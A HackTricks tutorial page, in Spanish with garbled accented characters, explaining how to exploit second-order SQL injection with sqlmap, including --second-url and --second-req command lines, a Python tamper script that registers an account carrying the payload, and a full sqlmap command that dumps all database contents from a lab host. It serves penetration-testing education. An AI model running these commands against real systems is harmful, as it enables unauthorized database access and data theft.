tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
SQLMap puede explotar SQLis de Segundo Orden.
Necesitas proporcionar:
- La solicitud donde se va a guardar la carga 煤til de sqlinjection
- La solicitud donde la carga 煤til ser谩 ejecutada
La solicitud donde se guarda la carga 煤til de SQL injection est谩 indicada como en cualquier otra inyecci贸n en sqlmap. La solicitud donde sqlmap puede leer la salida/ejecuci贸n de la inyecci贸n puede ser indicada con --second-url
o con --second-req
si necesitas indicar una solicitud completa desde un archivo.
Ejemplo simple de segundo orden:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
En varios casos esto no ser谩 suficiente porque necesitar谩s realizar otras acciones adem谩s de enviar la carga 煤til y acceder a una p谩gina diferente.
Cuando esto sea necesario, puedes usar un sqlmap tamper. Por ejemplo, el siguiente script registrar谩 un nuevo usuario usando la carga 煤til de sqlmap como correo electr贸nico y cerrar谩 sesi贸n.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Un tamper de SQLMap siempre se ejecuta antes de comenzar un intento de inyecci贸n con un payload y debe devolver un payload. En este caso, no nos importa el payload, pero nos importa enviar algunas solicitudes, por lo que el payload no se cambia.
Entonces, si por alguna raz贸n necesitamos un flujo m谩s complejo para explotar la inyecci贸n SQL de segundo orden como:
- Crear una cuenta con el payload de SQLi dentro del campo "email"
- Cerrar sesi贸n
- Iniciar sesi贸n con esa cuenta (login.txt)
- Enviar una solicitud para ejecutar la inyecci贸n SQL (second.txt)
Esta l铆nea de sqlmap ayudar谩:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.